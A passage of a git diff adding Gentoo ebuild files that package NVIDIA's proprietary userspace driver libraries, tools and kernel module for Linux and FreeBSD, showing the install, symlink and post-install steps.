+src_unpack() {
+	if ! use kernel_FreeBSD; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libcuda.so
+	EOF
+
+	# Allow user patches so they can support RC kernels and whatever else
+	epatch_user
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use kernel_FreeBSD; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+	# Full path to library minus SOVER
+	MY_LIB="$1"
+
+	# SOVER to use
+	MY_SOVER="$2"
+
+	# Where to install
+	MY_DEST="$3"
+
+	if [[ -z "${MY_DEST}" ]]; then
+		MY_DEST="/usr/$(get_libdir)"
+		action="dolib.so"
+	else
+		exeinto ${MY_DEST}
+		action="doexe"
+	fi
+
+	# Get just the library name
+	libname=$(basename $1)
+
+	# Add it to QA_PREBUILT
+	QA_PREBUILT+=" ${MY_DEST}/${libname}.${MY_SOVER}"
+
+	# Install the library with the correct SOVER
+	${action} ${MY_LIB}.${MY_SOVER} || \
+		die "failed to install ${libname}"
+
+	# If SOVER wasn't 1, then we need to create a .1 symlink
+	if [[ "${MY_SOVER}" != "1" ]]; then
+		dosym ${libname}.${MY_SOVER} \
+			${MY_DEST}/${libname}.1 || \
+			die "failed to create ${libname} symlink"
+	fi
+
+	# Always create the symlink from the raw lib to the .1
+	dosym ${libname}.1 \
+		${MY_DEST}/${libname} || \
+		die "failed to create ${libname} symlink"
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+
+		local udevdir=/lib/udev
+		has_version sys-fs/udev && udevdir="$($(tc-getPKG_CONFIG) --variable=udevdir udev)"
+
+		# Ensures that our device nodes are created when not using X
+		exeinto "${udevdir}"
+		doexe "${FILESDIR}"/nvidia-udev.sh
+
+		insinto "${udevdir}"/rules.d
+		newins "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+	elif use kernel_FreeBSD; then
+		if use x86-fbsd; then
+			insinto /boot/modules
+			doins "${S}/src/nvidia.kld" || die
+		fi
+
+		exeinto /boot/modules
+		doexe "${S}/src/nvidia.ko" || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+	if use kernel_linux; then
+		# NVIDIA video decode <-> CUDA
+		donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+	fi
+
+	if use X; then
+		# Xorg DDX driver
+		insinto /usr/$(get_libdir)/xorg/modules/drivers
+		doins ${NV_X11}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+		# Xorg GLX driver
+		donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+			/usr/$(get_libdir)/opengl/nvidia/extensions
+
+		# XvMC driver
+		dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+			die "failed to install libXvMCNVIDIA.so"
+		donvidia ${NV_X11}/libXvMCNVIDIA.so ${NV_SOVER}
+		dosym libXvMCNVIDIA.so.${NV_SOVER} \
+			/usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+			die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+	fi
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use kernel_FreeBSD; then
+		dodoc "${NV_DOC}/README"
+		use X && doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+		doman "${NV_MAN}/nvidia-cuda-proxy-control.1.gz"
+	fi
+
+	# Helper Apps
+	exeinto /opt/bin/
+	if use X; then
+		doexe ${NV_OBJ}/nvidia-xconfig || die
+	fi
+
+	if use kernel_linux ; then
+		doexe ${NV_OBJ}/nvidia-debugdump || die
+		doexe ${NV_OBJ}/nvidia-cuda-proxy-control || die
+		doexe ${NV_OBJ}/nvidia-cuda-proxy-server || die
+		doexe ${NV_OBJ}/nvidia-smi || die
+		newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+	fi
+
+	exeinto /usr/bin/
+	doexe ${NV_OBJ}/nvidia-bug-report.sh || die
+
+	if has_multilib_profile && use multilib ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+
+	# GNOME3 gnome-terminal redraw bug workaround,
+	# see: https://bugzilla.gnome.org/show_bug.cgi?id=664858
+	doenvd "${FILESDIR}/90mutter-disable-culling"
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+	local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+	local libdir=${NV_OBJ}
+
+	if use kernel_linux && has_multilib_profile && \
+			[[ ${ABI} == "x86" ]] ; then
+		libdir=${NV_OBJ}/32
+	fi
+
+	if use X; then
+		# The GLX libraries
+		donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+		donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+		if use kernel_FreeBSD; then
+			donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER} ${GL_ROOT}
+		else
+			donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER} ${GL_ROOT}
+ 		fi
+
+		# VDPAU
+		donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+	fi
+
+	# NVIDIA monitoring library
+	if use kernel_linux ; then
+		donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+	fi
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia ${libdir}/libcuda.so ${NV_SOVER}
+		donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+		donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+	"${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /opt/bin/nvidia-bug-report.sh included."
+	elog
+	if ! use X; then
+		elog "You have elected to not install the X.org driver. Along with"
+		elog "this the OpenGL libraries, XvMC, and VDPAU libraries were not"
+		elog "installed. Additionally, once the driver is loaded your card"
+		elog "and fan will run at max speed which may not be desirable."
+		elog "Use the 'nvidia-smi' init script to have your card and fan"
+		elog "speed scale appropriately."
+		elog
+	fi
+}
+
+pkg_prerm() {
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-313.30.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-313.30.ebuild
new file mode 100644
index 00000000..97a23ea4
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-313.30.ebuild
@@ -0,0 +1,368 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+	portability toolchain-funcs unpacker user udev
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 amd64-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+	 x86-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib x-multilib kernel_FreeBSD kernel_linux tools +X"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	x-multilib? ( app-emulation/emul-linux-x86-xlibs )
+	multilib? ( app-emulation/emul-linux-x86-baselibs )
+	X? (
+		<x11-base/xorg-server-1.14.99
+		>=app-admin/eselect-opengl-1.0.9
+	)"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	X? ( x11-libs/libXvMC )
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}
+	acpi? ( sys-power/acpid )
+	tools? ( media-video/nvidia-settings )"
+PDEPEND="X? ( >=x11-libs/libvdpau-0.3-r1 )"
+
+REQUIRED_USE="tools? ( X )"
+QA_PREBUILT="opt/* usr/lib*"
+S="${WORKDIR}/"
+
+pkg_pretend() {
+	if use amd64 && has_multilib_profile && \
+		[ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default ABI"
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# Kernel features/options to check for
+	CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+	use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+	# Now do the above checks
+	use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+	fi
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		use x86-fbsd   && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+		use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+		NV_DOC="${S}/doc"
+		NV_OBJ="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_OBJ="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use kernel_FreeBSD; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+
+	# Allow user patches so they can support RC kernels and whatever else
+	epatch_user
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use kernel_FreeBSD; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+	# Full path to library minus SOVER
+	MY_LIB="$1"
+
+	# SOVER to use
+	MY_SOVER="$2"
+
+	# Where to install
+	MY_DEST="$3"
+
+	if [[ -z "${MY_DEST}" ]]; then
+		MY_DEST="/usr/$(get_libdir)"
+		action="dolib.so"
+	else
+		exeinto ${MY_DEST}
+		action="doexe"
+	fi
+
+	# Get just the library name
+	libname=$(basename $1)
+
+	# Install the library with the correct SOVER
+	${action} ${MY_LIB}.${MY_SOVER} || \
+		die "failed to install ${libname}"
+
+	# If SOVER wasn't 1, then we need to create a .1 symlink
+	if [[ "${MY_SOVER}" != "1" ]]; then
+		dosym ${libname}.${MY_SOVER} \
+			${MY_DEST}/${libname}.1 || \
+			die "failed to create ${libname} symlink"
+	fi
+
+	# Always create the symlink from the raw lib to the .1
+	dosym ${libname}.1 \
+		${MY_DEST}/${libname} || \
+		die "failed to create ${libname} symlink"
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+
+		# Ensures that our device nodes are created when not using X
+		exeinto "$(udev_get_udevdir)"
+		doexe "${FILESDIR}"/nvidia-udev.sh
+		udev_newrules "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+	elif use kernel_FreeBSD; then
+		if use x86-fbsd; then
+			insinto /boot/modules
+			doins "${S}/src/nvidia.kld" || die
+		fi
+
+		exeinto /boot/modules
+		doexe "${S}/src/nvidia.ko" || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+	# NVIDIA video encode/decode <-> CUDA
+	if use kernel_linux; then
+		donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+		donvidia ${NV_OBJ}/libnvidia-encode.so ${NV_SOVER}
+	fi
+
+	if use X; then
+		# Xorg DDX driver
+		insinto /usr/$(get_libdir)/xorg/modules/drivers
+		doins ${NV_X11}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+		# Xorg GLX driver
+		donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+			/usr/$(get_libdir)/opengl/nvidia/extensions
+	fi
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins ${NV_OBJ}/nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use kernel_FreeBSD; then
+		dodoc "${NV_DOC}/README"
+		use X && doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+		doman "${NV_MAN}/nvidia-cuda-proxy-control.1.gz"
+	fi
+
+	# Helper Apps
+	exeinto /opt/bin/
+	if use X; then
+		doexe ${NV_OBJ}/nvidia-xconfig || die
+	fi
+
+	if use kernel_linux ; then
+		doexe ${NV_OBJ}/nvidia-debugdump || die
+		doexe ${NV_OBJ}/nvidia-cuda-proxy-control || die
+		doexe ${NV_OBJ}/nvidia-cuda-proxy-server || die
+		doexe ${NV_OBJ}/nvidia-smi || die
+		newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+	fi
+
+	exeinto /usr/bin/
+	doexe ${NV_OBJ}/nvidia-bug-report.sh || die
+
+	if has_multilib_profile && use multilib ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+
+	# GNOME3 gnome-terminal redraw bug workaround,
+	# see: https://bugzilla.gnome.org/show_bug.cgi?id=664858
+	doenvd "${FILESDIR}/90mutter-disable-culling"
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+	local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+	local libdir=${NV_OBJ}
+
+	if use kernel_linux && has_multilib_profile && \
+			[[ ${ABI} == "x86" ]] ; then
+		libdir=${NV_OBJ}/32
+	fi
+
+	if use X; then
+		# The GLX libraries
+		donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+		donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+		if use kernel_FreeBSD; then
+			donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER}
+		else
+			donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER}
+		fi
+
+		# VDPAU
+		donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+	fi
+
+	# NVIDIA monitoring library
+	if use kernel_linux ; then
+		donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+	fi
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia ${libdir}/libcuda.so ${NV_SOVER}
+		donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+		donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+		donvidia ${libdir}/libnvidia-opencl.so ${NV_SOVER}
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+	"${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /opt/bin/nvidia-bug-report.sh included."
+	elog
+	if ! use X; then
+		elog "You have elected to not install the X.org driver. Along with"
+		elog "this the OpenGL libraries and VDPAU libraries were not"
+		elog "installed. Additionally, once the driver is loaded your card"
+		elog "and fan will run at max speed which may not be desirable."
+		elog "Use the 'nvidia-smi' init script to have your card and fan"
+		elog "speed scale appropriately."
+		elog
+	fi
+}
+
+pkg_prerm() {
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-325.15.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-325.15.ebuild
new file mode 100644
index 00000000..05413f29
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-325.15.ebuild
@@ -0,0 +1,372 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+	portability toolchain-funcs unpacker user udev
+
+NV_URI="http://us.download.nvidia.com/XFree86/"
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="
+	amd64-fbsd? ( ${NV_URI}FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+	amd64? ( ${NV_URI}Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	x86-fbsd? ( ${NV_URI}FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )
+	x86? ( ${NV_URI}Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+"
+
+LICENSE="GPL-2 NVIDIA-r1"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib x-multilib kernel_FreeBSD kernel_linux tools +X"
+RESTRICT="bindist mirror strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	x-multilib? ( app-emulation/emul-linux-x86-xlibs )
+	multilib? ( app-emulation/emul-linux-x86-baselibs )
+	X? (
+		>=app-admin/eselect-opengl-1.0.9
+	)"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	X? ( x11-libs/libXvMC )
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}
+	acpi? ( sys-power/acpid )
+	tools? ( media-video/nvidia-settings )"
+PDEPEND="X? (
+		<x11-base/xorg-server-1.14.99
+		>=x11-libs/libvdpau-0.3-r1
+	)"
+
+REQUIRED_USE="tools? ( X )"
+QA_PREBUILT="opt/* usr/lib*"
+S="${WORKDIR}/"
+
+pkg_pretend() {
+	if use amd64 && has_multilib_profile && \
+		[ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default ABI"
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# Kernel features/options to check for
+	CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+	use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+	# Now do the above checks
+	use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+	fi
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		use x86-fbsd   && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+		use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+		NV_DOC="${S}/doc"
+		NV_OBJ="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_OBJ="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use kernel_FreeBSD; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+
+	# Allow user patches so they can support RC kernels and whatever else
+	epatch_user
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use kernel_FreeBSD; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+	# Full path to library minus SOVER
+	MY_LIB="$1"
+
+	# SOVER to use
+	MY_SOVER="$2"
+
+	# Where to install
+	MY_DEST="$3"
+
+	if [[ -z "${MY_DEST}" ]]; then
+		MY_DEST="/usr/$(get_libdir)"
+		action="dolib.so"
+	else
+		exeinto ${MY_DEST}
+		action="doexe"
+	fi
+
+	# Get just the library name
+	libname=$(basename $1)
+
+	# Install the library with the correct SOVER
+	${action} ${MY_LIB}.${MY_SOVER} || \
+		die "failed to install ${libname}"
+
+	# If SOVER wasn't 1, then we need to create a .1 symlink
+	if [[ "${MY_SOVER}" != "1" ]]; then
+		dosym ${libname}.${MY_SOVER} \
+			${MY_DEST}/${libname}.1 || \
+			die "failed to create ${libname} symlink"
+	fi
+
+	# Always create the symlink from the raw lib to the .1
+	dosym ${libname}.1 \
+		${MY_DEST}/${libname} || \
+		die "failed to create ${libname} symlink"
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf
+
+		# Ensures that our device nodes are created when not using X
+		exeinto "$(udev_get_udevdir)"
+		doexe "${FILESDIR}"/nvidia-udev.sh
+		udev_newrules "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+	elif use kernel_FreeBSD; then
+		if use x86-fbsd; then
+			insinto /boot/modules
+			doins "${S}/src/nvidia.kld"
+		fi
+
+		exeinto /boot/modules
+		doexe "${S}/src/nvidia.ko"
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+	# NVIDIA video encode/decode <-> CUDA
+	if use kernel_linux; then
+		donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+		donvidia ${NV_OBJ}/libnvidia-encode.so ${NV_SOVER}
+	fi
+
+	if use X; then
+		# Xorg DDX driver
+		insinto /usr/$(get_libdir)/xorg/modules/drivers
+		doins ${NV_X11}/nvidia_drv.so
+
+		# Xorg GLX driver
